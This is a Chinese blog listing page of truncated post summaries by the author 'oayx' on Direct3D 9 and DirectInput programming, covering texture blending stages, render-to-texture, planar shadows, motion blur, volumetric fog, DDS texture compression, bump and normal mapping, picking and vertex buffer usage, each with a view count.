摘要: D3DTOP_BLENDDIFFUSEALPHA Linearly blend this texture stage, using the interpolated alpha from each vertex. D3DTOP_BLENDTEXTUREALPHA Linearly blend this texture stage, using the alpha from this stage's texture. D3DTOP_BLENDCURRENTALPHA Linearly blend this texture stage, using the alpha taken from
oayx 阅读(282) |
摘要: D3DTSS_CONSTANT Per-stage constant color. To see if a device supports a per-stage constant color, see the D3DPMISCCAPS_PERSTAGECONSTANT constant in D3DPMISCCAPS. D3DTSS_CONSTANT is used by D3DTA_CONSTANT. See D3DTA. D3DTA_CONSTANT Select a constant from a texture stage. The default value is 0xffffff
oayx 阅读(220) |
摘要: D3D API - D3DTA_TEMP作用:把颜色暂时写入别的地方,不更新到后台缓冲区The texture argument is a temporary register color for read or write. D3DTA_TEMP is supported if the D3DPMISCCAPS_TSSARGTEMP device capability is present. The default value for the register is (0.0, 0.0, 0.0, 0.0). Permissions are read/write.使用:g_pd3dDevic
oayx 阅读(234) |
摘要: D3DRS_COLORWRITEENABLE作用:过滤颜色通道UINT value that enables a per-channel write for the render-target color buffer. A set bit results in the color channel being updated during 3D rendering. A clear bit results in the color channel being unaffected. This functionality is available if the D3DPMISCCAPS_COLO
oayx 阅读(479) |
摘要: RTT是现在很多特效里面都会用到的一项很基本的技术,实现起来很简单,也很重要。但是让人不解的是网上搜索了半天只找到很少的文章说这个事儿,不知道是因为太简单还是因为这项技术已经出现很长时间了。总之我是在摸索这个东西的时候绕了不少弯子。现在把具体的实现方法写下来。渲染到纹理,顾名思义就是把渲染目标从帧缓存变成一个纹理。这样就可以把一个场景渲染后在进行Post Process,做出现在流行的各种特效。另外在利用GPU做通用计算的时候程序也是通过RTT和GPU交换数据的。实现步骤:声明变量LPDIRECT3DTEXTURE9 pRenderTexture = NULL; // 目标纹理LPDIRECT
oayx 阅读(544) |
摘要: 在场景中被灯光照射的地方会产生阴影,这将使场景变的更真实。在这一部分我们将演示怎样实现平面阴影,即在平面上的阴影(如图8.5)。使用这种阴影只是一种权宜之计,虽然它增强了场景的真实效果,但是这并不是现实中的阴影。为了实现平面阴影,我们首先必须找到物体投射到平面上的阴影并进行几何建模以便我们能够渲染它,用一些3D数学就能很容易的实现它,然后我们用50%透明度的黑色材质来渲染描述阴影的多边形。渲染阴影时可能出现“双倍混合”,我们将用一小部分进行解释,并使用模板缓存来防止双倍混合发生。8.3.1平行光阴影图8.6显示了物体在平行光照射下得到的阴影。光线是从平行光源放射出的,它的方向是L,通过顶点p得
oayx 阅读(781) |
摘要: --------------------------------------------------------------------------------创建一个平面的阴影矩阵。定义:D3DXMATRIX *WINAPI D3DXMatrixShadow( D3DXMATRIX *pOut, CONST D3DXVECTOR4 *pLight, CONST D3DXPLANE *pPlane);参数:pOut [in, out] 指向D3DXMATRIX 结构的操作结果矩阵。 pLight [in] 指向D3DXVECTOR4 结构的光线位置向量。 pPlane [in] 指向D3DXP
oayx 阅读(253) |
摘要: 运动模糊是景物图象中的移动效果。它比较明显地出现在长时间暴光或场景内的物体快速移动的情形里。为什么会出现运动模糊 摄影机的工作原理是在很短的时间里把场景在胶片上暴光。场景中的光线投射在胶片上,引起化学反应,最终产生图片。这就是暴光。如果在暴光的过程中,场景发生变化,则就会产生模糊的画面。 Why should you bother? 不难发现,在电影或电视中,运动模糊是经常出现的,甚至于你不会注意到它。另一方面,在计算机图形中,你就会发现缺少运动模糊,由此也带来了失真。 举个例子,lensflare是近来较为流行的一种图象效果,但传统的图象制作者常常简化此效果,自从我们认识到它是仿真的一种工.
oayx 阅读(16130) |
摘要: 动态模糊近几年广泛应用于游戏制作的一种特效,可以使得游戏所呈现出的运动画面更接近于真实相机所拍摄出的效果。 在真实世界中,运动模糊是指在相机拍摄画面时,由于被拍摄物体在相机快门曝光的短暂时间内有一定幅度的运动,造成拍摄出的画面产生残影和模糊的效果,通常相机只有在捕捉高速运动物体或者相机本身处在高速旋转中会出现这种效果。 那么如何能利用GPU在游戏画面中实现这一效果的呢? 其实原理和实现都非常的简单,实现Motion blur的方法也有很多,这里以DirectX9自带Sample中的方法为例进行说明。 我们知道在游戏中对于画面的渲染是一种单帧渲染,通常情况下,两帧之间并没有直接关联,但是对于动.
oayx 阅读(1102) |
摘要: 1.什么是体积雾? 这个问题通过图片来解答再合适不过了,下面是本文利用体积雾做的一个结果 所谓体积雾:顾名思义就是被限制了形状的雾,本文表述如何通过ImageProcess(图象处理)的方式实现体积雾。 2.常规雾原理 雾效最终体现在雾颜色与场景色的混合上。决定雾的浓度的关键就在这个混合因子上。下面我们给出公式.float4 finalColor = factor * fogColor + ( 1 - factor) * sceneC ( !提取公因式,减少计算量)=factor( fogColor - sceneColor) + sceneC ( factor&=0
oayx 阅读(2382) |
摘要: http://blog.csdn.net/jaredz/archive//697392.aspx好强呀,这篇文章。第六集 纹理映射技术为使建立的3D模型更接近现实世界中的物体, 简单的颜色变换已经无能为力, 这时我们就需要纹理映射技术了. 这一集我们讲解基础的纹理映射技术的数学模型, 对于在粒子系统使用的过程纹理技术在高级部分讲解.6.1 二维纹理映射6.1.1 纹理映射的简单建模 二维纹理映射就是从二维纹理平面到三维物体表面的映射. 一般二维纹理平面是有范围限制的, 在这个平面区域内, 每点都可用数学函数表达, 从而可以离散的分离出每点的灰度值和颜色值, 这个平面区域称为
oayx 阅读(635) |
摘要: 除了指定的是鼠标标识符以及鼠标数据格式外,初始化鼠标就和初始化键盘几乎完全相同。Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--&//--------------------------------------------------------------------------------//Initializemouseinterface,returnamouseinterfacepointer.//----------------------
oayx 阅读(404) |
摘要: 设置数据格式每种设备都有一种用于读取数据的特定数据格式,需要考虑的东西也很多,包括键、鼠标按键、轴等。因此要使程序从设备读取数据,首先必须告诉DirectInput读取这种数据所采用的格式。通过 IDirectInputDevice8::SetDataFormat函数即可满足上述要求。Sets the data format for the Microsoft DirectInput device.SyntaxHRESULT SetDataFormat(LPCDIDATAFORMAT lpdf);ParameterslpdfAddress of a structure that describ
oayx 阅读(517) |
摘要: DirectInput是一些COM对象的集合(和所有DirectX组件相同),这些COM对象描绘了输入系统和各个输入设备。最主要的对象是DirectInput8,它用于初始化系统以及创建输入设备接口。DirectInput COM对象:IDirectInput8:主要的DirectInput8 COM接口,其他所有接口都通过这个接口进行查询。DirectInputDevice8:用于输入设备的COM接口,每个设备都有自己单独的接口可供使用。DirectInputEffect:用于力反馈效果的 COM接口,比如某些游戏杆和某些鼠标上的力反馈效果。各种输入设备(比如键盘、鼠标和游戏杆)都使用相同的
oayx 阅读(382) |
摘要: GPU性能调试:通常来说,使用CPU时间事件来调试GPU是低效并且是不准确的。D3D API在多数命令下会阻塞,甚至是Draw函数。它会在一些时间片上做一些真正的工作,而这往往是不可预知的。因此,GPU的性能调试只能用PIX或者是其他专用产品,例如NVIDIA’s NVPerfHUD来进行。显卡所用的内存:显卡所用的内存可以分为两大类:本地的和非本地的(相对于显卡来说)。在显卡处理的某些数据类型的时候,需要本地内存,例如 帧缓冲。 非本地内存,有时也成为AGP卡槽内存(AGP aperture),可以被显卡访问的某些数据类型所在的系统内存,例如顶点缓冲。本地内存要比非本地内存快。本地内存通常是
oayx 阅读(256) |
摘要: 此教程版权归我所有,仅供个人学习使用,请勿转载,勿用于任何商业用途。商业应用请同我联系。由于本人水平有限,难免出错,不清楚的地方请大家以原著为准。也欢迎大家和我多多交流。其中部分图片来自网络,尽量保证了和原书中插图一致。特别感谢mtt重现了文章中的流程图^_^翻译:claymanBlog:http://blog.csdn.net/soilworkclayman_.cn 3.3.3 Vertex Constants Instancing 在vertex constants instancing方法中,我们利用顶点常量来储存实体属性。就渲染性能而言,顶点常量批次是非常快的
oayx 阅读(179) |
摘要: 翻译:claymanclayman_.cn仅供个人学习使用,勿用于任何商业用途,转载请注明作者^_^注:呵呵,发现我对翻译东西上瘾了。这次翻译了《GPU Gem2》中第三章的内容,大家共同学习^_^在交互式程序中,丰富用户体验的重要方法之一就是呈现一个充满大量各种有趣物体的世界。从数不清的草丛、树木到普通杂物:所有这些都能提高画面最终的效果,让用户保持“幻想状态(suspension of disbelief)”。只有用户相信并且融入了这个世界,才会对这个世界充满感情——这就是游戏开发的圣杯(Holy Grail)。 从渲染的观点来看,实现这种效果,无非就是渲染大量小
oayx 阅读(231) |
摘要: DirectX是一种应用程序接口(API)是计算机计算图形的一种规则,相当于一个通用编译器。
DirectX并不是一个单纯的图形API,它是由微软公司开发的用途广泛的API,它包含有Direct Graphics(Direct 3D+Direct Draw)、Direct Input、Direct Play、Direct Sound、Direct Show、Direct Setup、Direct Media Objects等多个组件,它提供了一整套的多媒体接口方案。只是其在3D图形方面的优秀表现,让它的其它方面显得暗淡无光。DirectX 1.0 第一代的DirectX很不成功,推出时众多的
oayx 阅读(688) |
摘要: DDS 文件 DirectDraw (R) Surface (DDS) 文件格式用于存储具有和不具有 mipmap 级别的纹理和立方体环境贴图。此格式可以存储未压缩的像素格式和压缩的像素格式,并且是存储 DXTn 压缩数据的首选文件格式。此文件格式的开发商是 Microsoft(R)。 可以将 DDS 文件用作纹理贴图。 使用 Direct3D 9 可以渲染为 DDS 格式。(利用 DX8 或 DX9,也可以使用金属凹凸明暗器渲染 DDS 文件。)如果系统不支持 DX9,则可以将 DDS 文件用作纹理,但是不能渲染它们。 界面 “曲面/体积格式”组 DDS 支持各种输出格式,具体情况取决于分配给红、绿
oayx 阅读(1457) |
摘要: Microsoft发布的DirectX 10代表了自从可编程Shader出现以来在3D API方面的最巨大的进步。通过一番脱胎换骨般的重建,DirectX 10展现出一系列非常醒目的新特性,包括高度优化的运行时,强大的Geometry Shader,纹理数组等等,这些特性将引领PC实时三维图形进入一个全新的世界。 DirectX 发展简史  在过去的十年中,DirectX已经稳步成为了Microsoft Windows平台上进行游戏开发的首选API。每一代的DirectX都带来对新的图形硬件特性的支持,因此每次都能帮助游戏开发者们迈出惊人的一步。  微软DirectX API(Applicat
oayx 阅读(189) |
摘要: 游戏编程可不仅仅是图形程序的开发工作,实际上包含了许多方面,本文所要讲述的就是关于如何使用 DirectInput 来对键盘编程的问题。  在 DOS 时代,我们一般都习惯于接管键盘中断来加入自己的处理代码。但这一套生存方式在万恶的 Windows 社会下是行不通的,我们只能靠领 API 或者 DirectInput 的救济金过活。  在 Windows 的 API 中,有一个 GetAsyncK...
oayx 阅读(237) |
摘要: 1 只在必须的时候Clear。 IDirect3DDevice9::Clear函数通常需要花费较多的时间,因此要尽量少调用,而且只清空的确需要清空的缓存。2 尽量减少状态切换。并且将需要进行的状态切换组合在一起设置。 状态包括RenderState,SamplerState,TextureStageState等3 纹理尺寸尽可能小4 从前至后渲染场景中的对象 从前至后渲染可以尽可能早地精选出不需要...
oayx 阅读(352) |
摘要: Direct3D提供了对生成的纹理坐标进行坐标变换的功能,与顶点坐标变换相类似,可以指定一个4x4的纹理坐标变换矩阵,把它与生成的纹理坐标相乘,然后将变换之后的纹理坐标输出至Direct3D渲染流水线。使用纹理坐标变换可以对纹理坐标进行诸如平移、旋转和缩放等三维变换。纹理坐标变换对于生成一些特殊效果是非常有用的,它不用直接修改顶点的纹理坐标。例如可以通过一个简单的平移矩阵对纹理坐标进行变换,从而使...
oayx 阅读(2245) |
摘要: 立体纹理(volume texture)是一组应用到二维图元(如一个三角形或一条直线)的三维纹理元素的集合,可以使用立体纹理实现一些特殊效果,如迷雾、爆炸等。当对一个图元使用立体纹理时,它的每个顶点都需要一组三元纹理坐标。当绘制该图元时,它中间的每个像素都将用立体纹理中的一些纹理元素的颜色值进行填充,这与二维纹理映射的情况相似。立体纹理以薄片为单元组织起来,可以把它想象成将(宽 x 高)的二维表面...
oayx 阅读(2769) |
摘要: 要渲染看起来真实的场景,最好是使用高分辨率而且颜色丰富的纹理,但这样的纹理可能会耗费大量的内存,例如,一张每像素16位颜色的256 x 256纹理将使用128KB的内存。如果在该纹理中使用多级渐进纹理,还需要额外的43KB内存。一个使用50张这种纹理的场景将需要8MB的内存,如果需要更强的真实性,可以使用每像素32位颜色的512 x 512纹理,但那就需要8倍的内存。为了减少纹理消耗的系统带宽和内...
oayx 阅读(2187) |
摘要: 这两天在写 DDS 格式的解码程序。DDS 是微软为 DirectX 开发的一种图片格式,MSDN 上可以查到其文件格式说明:DDS File Reference 。其中的 DXT 图片压缩格式,现在已经为绝大多数 3D 显卡硬件所支持。(它使用了由 S3 公司所发明的一种有损图象压缩算法。btw, 在我的那本书中,P232 有所提及)。DXT 格式 也叫作 S3TC ,现在可以被流行看图软件直接...
oayx 阅读(1139) |
摘要: 关于凹凸映射的原理请参阅凹凸映射(Bump Map)实现原理。凹凸纹理映射是一种纹理混合方法,它可以创建三维物体复杂的纹理外观表面。普通的纹理映射只能模拟比较平滑的三维物体表面,难以显示表面高低起伏、凹凸不平的效果。凹凸纹理映射能够通过一张表示物体表面凹凸程度的高度图(称为凹凸纹理),对另一张表示物体表面环境映射的纹理图的纹理坐标进行相应的干扰,经过干扰的纹理坐标将应用于环境映射,从而产生凹凸不平...
oayx 阅读(4036) |
摘要: http://xmchang.bokee.com/反射只是翻转摄影机,将场景渲染到Texture上,或使用STENCIL蒙板直接绘制。具体计算查看了D3D的 Sample,如下:代码Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--&D3DXMATRIXA...
oayx 阅读(335) |
摘要: 【1】什么事凹凸映射凸凹映射这个过程涉及到提取纹理并使用该纹理的内部信息去照射表面,让表面显示比自身实际拥有的更多细节。这个过程是在照射几何图形时,通过使用保存在纹理图像中的法线值而不是表面的法线值完成的。通过改变图像中的法线值或像素,可以得到物体的外观细节。例如,可以使用凸凹映射创建水泥裂缝或是爬虫表皮的鳞。纹理映射和凸凹映射之间的差别在于纹理用于阴影照射表面,而凸凹贴图用于灯光照射表面。例如,...
oayx 阅读(381) |
摘要: 维基百科,自由的百科全书跳转到: 导航, 搜索
Normal mapping used to re-detail simplified meshes.法线贴图(Normal mapping)在三维计算机图形学中,是凸凹贴图技术的一种应用,法线贴图有时也称为“Dot3 凸凹纹理贴图”。 凸凹与纹理贴图通常是在现有的模型法线添加扰动不同,法线贴图要完全更新法线。与凸凹贴图类似...
oayx 阅读(1502) |
摘要: 代码Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--&//=============================================================================//Desc:纹理影射基础//======...
oayx 阅读(655) |
摘要: 写了个测试程序,方便个人在使用中查询,不当之处请指出(以下结论均为三角形数为20000,一个批次中完成渲染)1 在三角形数量不超过20000时,DrawIndexedPrimitive和DrawIndexedPrimitiveUP效率没有明显差别, 前提是创建buffer时没有使用D3DUSAGE_DYNAMIC,否则DrawIndexedPrimitive的性能不如DrawIndexedPrim...
oayx 阅读(1021) |
摘要: struct D3DPRESENT_PARAMETERS{ UINT BackBufferW UINT BackBufferH D3DFORMAT BackBufferF UINT BackBufferC D3DMULTISAMPLE_TYPE MultiSampleT DWORD MultiSampleQ D3DSWAPEFFEC...
oayx 阅读(269) |
摘要: 一 poolD3D RUTIME的内存类型,分为3种,VIDEO MEMORY(VM)、AGP MEMORY(AM)和SYSTEM MEMORY(SM),所有D3D资源都创建在这3种内存之中,在创建资源时,我们可以指定如下存储标志,D3DPOOL_DEFAULT、D3DPOOL_MANAGED、D3DPOOL_SYSTEMMEM和D3DPOOL_SCRATCH。VM就是位于显卡上的显存,CPU只能...
oayx 阅读(709) |
摘要: 当"allocating vertex buffers_分配顶点缓存"时: 当使用 STATIC(这个是.net 情况,对于非.net版本dx是没有指定D3DUSAGE_DYNAMIC)标识分配顶点缓存时,这块缓存位于显存中。它的典型应用是只写一次并不被读回内存的情况。 只有当标志 D3DUSAGE_DYNAMIC被设置时 D3DUSAGE_WRITEONLY标志才有意义。 如果使用DYNAMIC...
oayx 阅读(1268) |
摘要: 1 MaxSimultaneousTextures 纹理同时叠加最大数目device-&GetDeviceCaps( &Caps );int maxActiveTextures = Caps.MaxSimultaneousT即在 DrawPrimitive 顶点之前,最多设置的纹理数量。如果你的机器显卡较差,这个数为2,就是刚刚好支持多纹理。如下代码所示如果MaxSi...
oayx 阅读(1406) |
摘要: 版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://xiaoxiang.blog.51cto.com/本文大部分内容翻译自Gil Gribb和Klaus Hartmann合写的《Fast Extraction of Viewing Frustum Planes from the World-View-...
oayx 阅读(327) |
摘要: 作为一个3D程序员, 我用了OpenGL两年多, 最近在搞一个项目, 从OpenGL转到D3D, 虽然工程外在的框架都封装得不错, 但想完全地从OpenGL转换到D3D, 看起来还是有难度的, 花了我两个星期的时间, 我终于转换过来了。D3D与OpenGL的几点比较明显不同的地方:(一)、正交投影时:OpenGL以屏幕左上角为(0,0), 而D3D却以屏幕中心为(0,0)(二)、OpenGL使用右...
oayx 阅读(2068) |
摘要: 低手交流,高手勿入作者:BillHsu主页:http://www.graptor.com/GameRes发帖里的公式什么的可能不太整齐,在这里看可能效果好一点~http://hi.baidu.com/probill/blog/item/32111f1ccbc2cdf1.html剪裁平面(ClipPlane)在图形学领域有着重要的作用,比如水面模拟中,渲染折射纹理时,我们就必须将水面...
oayx 阅读(511) |
摘要: 文章来源:CAD世界网一般来说, 定位渲染通道瓶颈的方法就是改变渲染通道每个步骤的工作量, 如果吞吐量也改变了, 那个步骤就是瓶颈.。找到了瓶颈就要想办法消除瓶颈, 可以减少该步骤的工作量, 增加其他步骤的工作量。    一般在光栅化之前的瓶颈称作”transform bound”, 三角形设置处理后的瓶颈称作”fill bound”定位瓶颈的办法:...
oayx 阅读(296) |
摘要: 一下是我的学习笔记: D3DXVec3project//将3D物理坐标点变到SURFACE的2D点 现在我来解释一下 1.3D物理坐标,看例子 声明 点 A( a,b,c); DEVICE-&SETTRANSFORM( WORLD,MATRIX) DRAW (A) 此时A(a,b,c)为物理坐标 若MATRIX为单位矩阵那么A为世界坐标的点 什么叫SURFACE的2D点 是指每个程序中都有个...
oayx 阅读(2029) |
摘要: 简单总结一下D3D中的拾取问题,所谓拾取就是3D程序中当用户使用鼠标同3D世界内的物体进行交互的时候,如何能正确的实现从用户的鼠标到3D世界中的变换。
呵呵,如果要是推及到原理的话比较复杂,需要好好总结,先从简单的入手,D3D中提供了很多易用的API,使用这些API的话就可以绕过复杂的数学原理,所以呢,我们先来看实际应用中是怎样实现它的。
//首先获取世界、视角、投影矩阵
D3DXMATRI...
oayx 阅读(1053) |
摘要: Intrinsic Functions (DirectX HLSL)The following table lists the intrinsic functions available in HLSL. Each function has a brief description, and a link to a reference page that has more detail about ...
oayx 阅读(1293) |
摘要: 微软D3D设备能创建和操纵下面初基类型:l 点列表l 线列表l 线带l 三角形列表l 三角形带l 三角形扇区你能用IDirect3DDevice9接口中的任何粉刷方法在C++程序中粉刷原基。1.1.1.1. 点列表一个点列表是一个顶点的集合,这些顶点被作为单独的点来粉刷。你的程序可以在3-D场景中用它们作为在多边形表面上开始字段、点线。下图描述了一个粉刷后的点列表。你的程序能在一个点列表上应用素材...
oayx 阅读(970) |
摘要: D3D设备是D3D的粉刷组件;它封装并存储粉刷的状态,另外,D3D设备执行转换和光操作,并光栅化一个图像到一个面上。本节主要包括内容:1. 设备类型2. 创建设备3. 选择设备4. 不为人知的设备5. 决定硬件支持6. 处理顶点数据7. 设备支持的初基类型按照架构来说,D3D设备包含一个转换模块、一个光模块、一个光栅化模块;如下图所示:D3D当前支持两种主要类型的D3D设备:带硬件加速的光栅化以及...
oayx 阅读(1608) |
摘要: 使用微软的D3D来编程需要熟悉3D几何原理。本节介绍建立3D世界的最重要的几何概念。1.1.1. 3-D坐标系统典型的3D图形程序使用两种笛卡儿坐标系统:左手和右手。两个坐标系统中,正X轴指向右边,正Y轴指向上。你可以通过你左右手指间指向与正X轴相同时大拇指指向的方向来记住坐标方向。下图描述了这两种系统。微软的D3D使用左手系统,如果你正在将一个基于右手坐标系统的程序导入到程序中,你必须做两个改变...
oayx 阅读(2736) |
摘要: 1. D3D入门本节提供一个对D3D图形编程接口(API)的简短介绍。这里你将发现一个图形管道的概貌以及帮助你实现基本D3D功能的指南。1.1. D3D架构本节包含Microsoft的D3D组件、其他Microsoft DirectX、操作系统和系统硬件之间的关系;下面将讨论这些主题。1.1.1. D3D的架构概览这是一个图形管道的描述。每个块的功能性在下面介绍,连接包含更多的信息。更多关于D3D...
oayx 阅读(547) |
摘要: 好好的一个程序,在我的电脑(ELSA X800 256M显卡)上运行一切正常,拿到别的电脑(845G内置显卡)上。啊。花屏~~赶快调试,幸好公司的电脑也有这种内置显卡的电脑。赶快用远程调试。谁知这一调试,就花了我整整一个上午。。。赶快写下来。。。最终排差的原因是DrawIndexedPrimitiveUP最后一个参数VertexStreamZeroStride ,这个参数是用来指定顶点所占的字节数...
oayx 阅读(309) |
摘要: Rendering from Vertex and Index Buffers (Direct3D 9)  Direct3D提供了索引和非索引两种绘制方式,索引方式使用一组索引(表示)所有的顶点组成,顶点数据是存储在顶点缓冲区中,索引数据是存储    在索引缓冲区中。下面是一小部分使用顶点缓冲区和索引缓冲区时所具有的公共说明。  这些例子比较IDirect3DDevice9::DrawPrimit...
oayx 阅读(355) |
摘要: (本人英语水平有限,翻译的目的只是为了加深印象和自己以后查询,翻译不足之处请谅解)IDirect3DDevice9::DrawPrimitive渲染一组非索引,指定类型的图元,从当前输入数据流中HRESULT DrawPrimitive( D3DPRIMITIVETYPE PrimitiveType, UINT StartVertex, UINT PrimitiveCount);Parameter...
oayx 阅读(427) |

我要回帖

更多关于 切双眼皮多少时间恢复正常 的文章

 

随机推荐